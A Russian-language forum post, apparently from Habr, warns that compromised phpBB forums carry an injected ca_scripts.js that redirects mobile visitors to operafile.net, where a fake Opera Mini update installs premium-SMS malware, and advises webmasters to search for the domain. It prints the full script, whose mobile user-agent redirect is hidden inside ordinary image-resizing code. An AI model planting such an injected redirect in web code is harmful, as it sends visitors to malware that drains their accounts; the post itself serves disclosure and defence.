Как стать автором
Обновить

Обновление Opera Mini — даже если она у вас не установлена

Информационная безопасность *
Всем привет!
Ваш мобильный друг просит обновить Оперу? Не верьте — это ложь! Будьте внимательны!
Только что наткнулся на уязвимость в PHPBB. Где она кроется не знаю — но вот в чем она заключается. С помощью этой уязвимости, в движок вашего форума заливается или создается скрипт ca_scripts.js, я подозреваю, что называться он может как угодно. Чуть ниже, я его выложу.

Суть его такова, когда пользователь заходит на ваш сайт, скрипт определяет операционную систему, с помощью функции navigator.userAgent.match. Если ваша операционная система подходит под следующий список:
  • android
  • midp
  • j2me
  • symbian
  • series 60
  • symbos
  • windows mobile
  • windows ce
  • ppc
  • smartphone
  • blackberry
  • mtk

то он делает перенаправление на operafile.net и дописывает /u/[ID] (видимо ребята статистику ведут). Далее, сформируется предложение об обновление Opera Mini, даже если она у вас не установлена. После того, как вы скачаете обновление, очень похожее на установщик Opera — вы установите себе ПО, которое в фоновом режиме будет отсылать SMS на короткие номера, но не для того что бы вы выиграли Mercedes, а просто чтобы опустошить ваш счет.
Если вы зайдете на сайт operafile.net — то вас перенаправит на google.com.

Для web мастеров. Если вы прочитали этот пост, советую вам в вашем public «грепнуть» найти все скрипты, которые содержат домен operafile.net и другие (пока не знаю какие =) ), не известные вам домены. Либо проанализировать по дате.

Вот сам скрипт

var ca_item;
var ca_item2;
var ca_list;
if(navigator.userAgent.match(/(android|midp|j2me|symbian|series 60|symbos|windows mobile|windows ce|ppc|smartphone|blackberry|mtk)/i)!==null){
  window.location = "http://operafile.net/u/1013";
}
onload_functions[onload_functions.length] = 'ca_resize_images();';

// resize images
function ca_resize_images()
{
    var i, limit, diff;
    limit = 600;
    diff = 225;
    ca_item = document.getElementById('contentrow');
    if(ca_item && ca_item.clientWidth)
    {
        limit = ca_item.clientWidth - diff;
    }
    if(limit < 500)
    {
        limit = 500;
    }
    if(document.body.clientWidth && document.body.clientWidth < (limit + diff) && document.body.clientWidth > 800)
    {
        limit = document.body.clientWidth - diff;
    }
    else if(window.innerWidth && window.innerWidth < (limit + diff) && window.innerWidth > 800)
    {
        limit = window.innerWidth - diff;
    }
    /* IE6 limit fix */
    if(!window.XMLHttpRequest && limit > 1500)
    {
        limit = 800;
    }
    if(ca_main_width && ca_main_width.indexOf('%') == -1)
    {
        ca_main_width.replace(/px/, '');
        if(ca_main_width > 0)
        {
            limit = ca_main_width - diff;
        }
    }
    if(ca_item)
    {
        ca_list = ca_item.getElementsByTagName('img');
    }
    else
    {
        ca_list = document.getElementsByTagName('img');
    }
    for(i=0; i<ca_list.length; i++)
    {
        ca_item = ca_list[i];
        if(ca_item.width > limit)
        {
            if(document.all) 
            { 
                ca_item.style.cursor = 'hand'; 
            }
            else
            { 
                ca_item.style.cursor = 'pointer'; 
            }
            ca_item.style.width = (limit - 50) + 'px';
            ca_item.onclick = function() { 
                window.open(this.src, 'image', 'width=700,height=500,resizable=1,scrollbars=1');
            }
        }
    }
}
Теги:
Хабы:
Всего голосов 48: ↑32 и ↓16 +16
Просмотры 22K
Комментарии Комментарии 43